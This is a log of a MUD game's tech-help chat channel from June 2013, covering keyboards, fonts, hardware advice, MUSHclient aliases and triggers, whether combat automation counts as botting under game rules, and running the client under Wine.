T3/r7/2013-06-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: well ive tried so many ways to set up on the fly wifi connections but nope, not even microsoft help stalf could help me
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: but idiocy was how i learned some cool things xD
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: if they really wanted to make it more end-user orientated they could have just put the entire contents of win8 on the desktop
T3/r7/2013-06-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ugh wish they had stuck with win-xp layout
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Ontuct Tech: 3.1
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: i want a dvorak keyboard lol
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I got one at work :P
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: nice
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Fast as all hell ... once you get used to it
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Ontuct Tech: 2 finger typing is faster on dvorak as well?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: But coming from years of QWERTY, it wasn't easy to get aclimated to
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Dunno, I don't tap-type :P
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: whats your wpm on qwerty?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: qwerty was devoloped because typewriters kept getting tangled
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: i heard qwerty just had too much motion in the market from being first, even though dvorak was proven to be more efficient
T3/r7/2013-06-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: eh whatever you get used to is better
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: disagree, dvorak is better
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: reading about it's history on wiki right naow :P
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: Dvorak typists were so successful that in 1937 the Contest Committee barred Dvorak's typists for being "unfair competition" until Dvorak protested.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: In addition, QWERTY typists did not want to be placed near Dvorak typists because QWERTY typists were disconcerted by the noise produced from the fast typing speeds made by Dvorak typists
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: Rofl
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: I so gotta get me one of those
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Ontuct Tech: just remap your keyboard
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Ontuct Tech: it'd keep you from peeking and tap typing
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: hmm
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: the district found that the Dvorak layout students learned the keyboard in one-third the time it took to learn QWERTY.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: just looking at the layout and imagining my fingers typeing a sentance is scary lol
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: the numbers are all scrambled O.O
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: this is a dvorak number order left to right 7 5 3 1 9 0 2 4 6 8
T3/r7/2013-06-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: eh ended up being a reboot that was all i needed
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: thats redonculous
T3/r7/2013-06-11.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: so its based on using the fingers from the center out?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: yea that makes sense i guess
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Shue Tech: hi. how do i make the columns in "spells" align in MushClient?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Book of Etzli Tech: Use a fixed width font.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Shue Tech: how do i know if the font is fixed width?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Book of Etzli Tech: Most will say "Mono" in the font name.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Book of Etzli Tech: Note that not ALL will.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Book of Etzli Tech: What font are you using right now?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Shue Tech: i'm using century gothic
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Book of Etzli Tech: Yeah, don't believe that's fixed width.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Shue Tech: i don't see any fonts with 'Mono', though i do see some with '...
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Shue Tech: @w
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Vuron Tech: try terminal font
T3/r7/2013-06-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: Courier is also good
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Book of Etzli Tech: Personally, I like Dina font, and Bitstream Mono.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: fixedsys ftw
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Shue Tech: thanks for the suggestions, i'm trying them out now
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: easy way to play with fonts is to open Word or Notepad to a blank sheet...put iiiii on one line, and wwwww on the next line. Then play with different fonts. If the letters line up, then it's fixed-width and is good for things like Aard...if they don't line up, then it's a variable-width font
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at you in agreement. 
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Shue Tech: that's a really good tip! i'll try it out soon. sticking to courier new for now
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Vexthorne Tech: I don't suppose anyone has pc gaming headset recommendations they'd like to share? :)
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Roidrage Tech: turtle beach 
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Vost Tech: Turtle Beach are good but a bit expensive
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Vost Tech: Sennheiser are good
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Roidrage Tech: yeah they even come with there own sound card
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Roidrage Tech: astro gaming is pretty good as well
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Vexthorne Tech: Astro headsets I looked at were stupid expensive :p
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Roidrage Tech: dunno then if ur gaming you want good headphone
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Martini & Tyebald Tech: what are folks' opinions on the best vendors for laptops at the moment?  assume a budget somewhere between 1k and 2k.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tynrael Tech: I'd wait a bit while more manufacturers start putting out haswell models
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Martini & Tyebald Tech: haswell?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tynrael Tech: new intel processor, massive battery life improvement for laptops
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Martini & Tyebald Tech: how recent are those?  am I looking at six months or a year for them to work the kinks out?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Martini & Tyebald Tech: hmm.  only been out a few weeks.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Martini & Tyebald Tech: also, can anyone recommend a good site for listing how CPU and memory speeds get matched up nowadays?  last time I built a system, it was just a straight multiplier, but I gather in laptops in particular, the chip clockspeed is often adjusted, and the memory then gets matched to that.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Martini & Tyebald Tech: I.e. I'd rather get a slower CPU that is a better match to the board/bus/memory, but I no longer know where to get that info.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}StarsOscar Tech: in laptop it's much more complicated sice you a to compare the whole package
T3/r7/2013-06-11.txt.gz:{chan ch=tech}StarsOscar Tech: rather than just cpu+mem etc
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Martini & Tyebald Tech: I gather.  that's why I'm looking to find a site that has collected that information, if possible.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}StarsOscar Tech: also prices and availability are different
T3/r7/2013-06-11.txt.gz:{chan ch=tech}StarsOscar Tech: i.e. setvice term etc.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}StarsOscar Tech: so the answer depends on where you are, what you need and how much money you can spend
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Shue Tech: is there a way to display macos in a small window like a plugin?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Zetkax Tech: macos?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Shue Tech: oops i meant macros
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Martini & Tyebald Tech: the answer for resolving the interactions between cpu, bus, and memory should not depend on where I am.  are you saying chips are being soft-wired depending on geography?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Jopari Tech: i seem to have a problem.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Jopari Tech: the screen is zoomed in and i can't zoom out. using blowtorch.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Jopari Tech: and the screen is rotating.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Ayasinda Tech: you sure your not drunk?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Jopari Tech: i am below the drinking age.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Leinei Tech: Try just closing the app (fully) and reopening?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Jopari Tech: ain't workin
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Jopari Tech: done.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Jopari Tech: by reset.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Vonliege Tech: I need a seperate window for prog dialog - is a "mob says xxx" discernable from a "player say xxx"?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Book of Etzli Tech: Yes.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hanslanda Tech: depends on how they're making the mob say things.  If they're using the mobsay channel, then there will be a GMCP blurb about it (pretty sure there are no other tags for mobs saying stuff) and you can just capture that instead.  If they are simply using a room emote (think along the lines of an imm restore, except you only see the message in your room), then there's no GMCP or any other easy indication.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: why does mapper not stay checked off in the Game dropdown menu?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: everytime i restart the client it is unchecked, does that mean it isnt mapping?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tynrael Tech: the mapper plugin with the visual is different from the built in mush mapper, which basically just records speedwalks and reverse directions
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: oh so it doesnt affect when i use like mapper area %1
T3/r7/2013-06-11.txt.gz:{chan ch=tech}DarkPchan Tech: anyone know how to reference to another alias in an alias like blowtorch?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Daloran Tech: like in blowtorch? So.. what are you using?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}DarkPchan Tech: mushclient...not on my tablet atm
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Daloran Tech: Ah, I was just meaning more you didn't specify. So you're trying to call an alias from inside another alias?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}DarkPchan Tech: oh. yeah, was hoping to avoid some retyping
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Daloran Tech: I think it should be as simple as sending to execute, instead of sending to world
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Daloran Tech: then just type the second alias in as a command in the first alias
T3/r7/2013-06-11.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: If you are talking Mush, it's exactly what you do.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Sorry thoguht you were asking Android question.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}DarkPchan Tech: thanks i'll try that
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: Daloran flexes his muscles...what a stud!?!
T3/r7/2013-06-11.txt.gz:{chan ch=tech}DarkPchan Tech: that was simple and worked with my current commands :D thanks alot...getting closer to making this like my blowtorch client :)
T3/r7/2013-06-11.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: np it wasnt hard
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Daloran Tech: .. also.. is your name a Ranma 1/2 reference?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}DarkPchan Tech: yes, yes it is :)
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Daloran Tech: haha.. nice
T3/r7/2013-06-11.txt.gz:{chan ch=tech}DarkPchan Tech: thanks :D have had it on xbox for years now
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Daloran Tech: Guess Ryoga was already taken 
T3/r7/2013-06-11.txt.gz:{chan ch=tech}DarkPchan Tech: nah, I like pchan :P
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Daloran Tech: Well, nice anyway =)
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: can i create a trigger for like.... when I'm in combat every round I want to cast an attack spell for example
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It can be done, but it is quite dangerous to do so
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Very easy to accidentally bot with that setup
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: yeah i'd enable/disable it depending on when it is safe/unsafe to
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Daloran Tech: Also a poor implementation. =o
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: bot?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hanslanda Tech: having a trigger send an attack command to the game for you, I believe, is patently illegal.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: it is?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Daloran Tech: Imms have told me otherwise, hans
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Your door opens and your significant other jumps into your lap - you are understandably distracted, and go elsewhere. Meanwhile, your character is sitting in a room where an aggro mob spawns on repop.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Daloran Tech: that it was more the self-healing aspect of it.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Jhav Tech: [06 Nov 22:21:11] Madcatz Tech: If you have something that stops at the end of combat (say, quaffing a potion when you're below a certain amount), you're not going to get in trouble for it as long as you never, ever step away from your computer when you're in a room that an aggro mob might repop/wander in.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: k, i respect that
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: but how would i do it? can i put multiple lines? since i have multiple attacks and only want to cast 1 spell?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: would that work?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: 1 spell / round
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It would involve scripting, afaik it would be near impossible to do without conditionals
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Daloran Tech: You could, hogoth. Are you sure what you're trying to do is reasonable given your abilities though?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Daloran Tech: if you wanted a quick/dirty way could use ability A, have a trigger to respond to the output from ability A to do Ability B, B to C, and so on.. but see above, that could lead to some issues
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You can simplify the casting of spells/skills without delving into that rabbit hole by aliasing them to single characters or macros, perhaps
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: like 'alias ] cast 79', for example
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: yeah i use macros currently
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: f1 shift+f1 etc..
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hanslanda Tech: given that Madcatz seems to have gone on record to say that already-in-combat triggering that sends an attack command to the game is in fact legal (I still don't agree, but whatever), you could just make a trigger on the mobhealth line that simply sends the command.  The target could be set to a variable or just hard-coded, thus there'd be no need for a conditional.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Daloran Tech: mob health line? you mean in the prompt?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Daloran Tech: you'd end up stacking a lot of excess commands
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hanslanda Tech: no, the one in the middle of the combat spam.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Daloran Tech: maybe its hidden due to spam settings then
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hanslanda Tech: ie, (mob shortname) has quite a few wounds.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: huh so use an attack after each level of damage that'd work but you'd have to make on for each message
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: couldnt i just use Your flaming bite, x #of attacks on seperate lines
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: as a condition
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: or does that not work?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: no, since you don't know how many lines of it
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: tech what do u mean i dun kno o.o
T3/r7/2013-06-11.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: this is a touchy subject IMO since the best ways to handle this would only be breaths away from a full bot
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hanslanda Tech: in CMud, you don't have to know how many lines.  I would think Mush would have something close to that.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Every act of scripting is breaths away from a bot...
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: and yeah hans, things like autoquaffers were never illegal on their own, it's going afk in aggro rooms which makes them so...I have public MUSHclient scripts that do just that actually
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: lol
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: not even close to correct, vakieh
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: The Dragon RandAlthor nods at you in agreement. 
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto rapidly nods twice to you, in complete agreement.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: hans: the reason you'd need to know how many lines is that you don't want it to match them
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hanslanda Tech: you can info-script Aard to such a massive degree that you might as well call your scripting package an Operating System.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: aww, now we need Dagnir here to comment that emacs is a bloated operating system :(
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hogoth Tech: i opened a can of worms lol
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hanslanda Tech: I know, like I said, CMud has no problem with that (albeit, you'd have to match them and just do nothing on those lines).
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Sure it is - all you need to be a bot is while(1) c <spell>, which is breaths away from any script. Best not to worry about those scripts that are 'close' to a bot, because they all are - worry only about the ones that 'are' bots
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: hans: and as I said, cmud can't do that either without more logic...you're totally missing why it doesn't work like that
T3/r7/2013-06-11.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: yeah you can i didn't like giving away many of my scripts because with a little tweaking by someone that doesn't care about the rules the would be illegal
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: tbh, you could do it, as you can just match on 50 and know you won't be getting more output than that. Multiline regex is a royal PITA though
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: You boggle at Captain HR Vakieh.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: not talking about multiline regex
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: How do you match multiple lines without multiline regex?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Only other way to do it is an initial enabling trigger and then a closing trigger, for unknown output
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hanslanda Tech: in cmud, we use multistate triggers.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hanslanda Tech: can even have a multistate trigger that fires multiple times on the same line with completely different patterns.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: in cmud, I'd do this particular thing using state and an #alarm
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hanslanda Tech: there are much better ways that don't involve the timing system, Abe.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: actually there aren't
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: at least not without a really crappy definition of better
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hanslanda Tech: and even if you were going to use the timing system, you could just use the wait state (it's like an alarm, except it's firmly attached to the multistate trigger instead of being functionally independant)
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Timing is silly, because not all spells/skills operate on a 3-second round
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hanslanda Tech: I can easily do it without using either wait state or #alarm.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: doesn't need to
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Trigger on the cast messages, stack one in advance to avoid latency inefficiency
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: I'm sure ya can, cupcake :-)
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Jenni Tech: i need to learn vipmud scripting and write a spellup somethin like the plugin for mush before i die of constant lack of spellup
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Hanslanda Tech: hell, could even just avoid the whole question of multiple attacks.  Two whole triggers, with absolutely no way to break the timing or waste time on latency unless something like an ice age or special event magically disappears your opponent.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: finger bast, get spellups plugin, ???, profit
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Jenni Tech: i use vipmud
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Whoops, read 'like the plugin for mush' in reverse, sorry :-(
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: or just quit using that :P
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: it may be touted for visually-impaired, but it's not that good of a client
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Jenni Tech: oh, ok its all good. I wanna do somethin like it just not sure vipmud can i think it could with a little work but need people to tinker with it with more skill than i have patience too.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Jenni Tech: if ya dig in the nuts and bolts its got power.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: but to be honest, just make a timer that sends "spellup" every now and then
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: that will keep you spelled up without anything difficult
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Jenni Tech: i have been messaging the group for the client tryin to see what we can do with the scripting and the tags here with triggers i mean it cant be that dang hard can it?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Jenni Tech: i also asked about having mccp in the next version I mean if a free client can do it. I paid thirty bucks for this client i am kinda disappointed
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: the client doesn't need support for mccp to use it
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: but it's a hella lot easier for it to
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: Le do, lo  Shakia nods at you in agreement. 
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Jenni Tech: i tried this one thing and followed the directions and it failed
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Jenni Tech: what i do like is the ease on getting connected and the history window and it auto reads and I dont have to wory about color and having to struggle with things if its turned on somewhere
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Jenni Tech: for vi access its great but for people like me i gotta dig to get it to do what i need say here.
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Wozniak Tech: Do you think it would be possible to program a text adventure in just Python?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: absolutely
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Wozniak Tech: I've heard this MUD was programmed in C with Lua
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Daloran Tech: You heard that did you?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Tech: since I just told you that, yep :-)
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Wozniak Tech: haha I know
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Daloran Tech: =)
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Daddy Spoke Tech: how do you simulate right click with a 1-button mac mouse?
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Leinei Tech: try control+click
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Leinei Tech: command+click, rather
T3/r7/2013-06-11.txt.gz:{chan ch=tech}Leinei Tech: Or whatever that button by the space bar is
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Can I change windows in vim without ctrl+w ?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: don't think so. why?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ixle Tech: Because I'm using ssh in a browser and I can't use ctl+w :/
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Shue Tech: hi. how do i add a miniwindow that displays my spells or macros?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Frolo Tech: bast has some plugins that do something like that, no idea how you do it by hand
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ayasinda Tech: you need to script one. 
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ayasinda Tech: look fiendish site on how to create winiwindows. Then look at how GMCP works and start coding.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Shue Tech: i'm not a coder, just a casual gamer. where can i find bast's plugins?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Frolo Tech: finger bast
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ayasinda Tech: at bast's site. finger bast
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Shue Tech: cheers
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Shue Tech: how do i resize bast's plugin windows?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Shue Tech: how do i echo more than 1 channel to the main window?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Ayasinda Tech: rightclick in communication window. Look for Echo channels in main window
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Shue Tech: how do i select more than one channel from that list
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: the same way you do in all lists in Windows...
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Tech: shift-click will autoselect contiguous, ctrl-click will select non-contiguous
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Hi, I'm trying to run the Aardwolf MUSH client with Wine on my Mac and I'm running into a few problems. Is anyone available?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Best to just ask the question, I'm available, as are many others, but not sure if I can answer your question until you ask it :)
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Ok just wanted to make sure it wasn't dead in here
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: When I run the wine command on the MUSHclient exe file the graphics pop up and i get the error ".\worlds\Aardwolf.mcl contains an invalid path"
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: I can also tell you the command line errors I get too if that helps
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Wozniak, how did you install the mushclient software?  did you download it from the code.google website and then unzip it?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: I installed it from the Aardwolf website. It came as a .zip file and I unzipped it.
T3/r7/2013-06-12.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I've seen that error before, but only with a corrupted MCL file, which shouldn't happen.  HOnestly might be best to post a note on tech board.  Describe the step you took and copy and paste the entire error message into the note.  I'm sure the answer is probs an easy one, but I just don't know it :)
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: sorry, wasn't paying any attention to the channel, posted a reply to your note, but when running it under wine you need to change to the directory first then run the executable
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: Wozniak?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Yes?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: you sure your changing directory first? the script you quoted in your note showed you were calling the executable with the full path in it?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: are you running it from a terminal window or from finder?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Oh wow. I guess I wasn't cd'ing to the folder first
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: it's working now
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: great :)
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Wozniak Tech: Do I need the MUSHclient.ini in my home directory?
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: no in the same directory as the exe
T3/r7/2013-06-12.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: it a one folder show, everything can go in the same parent folder
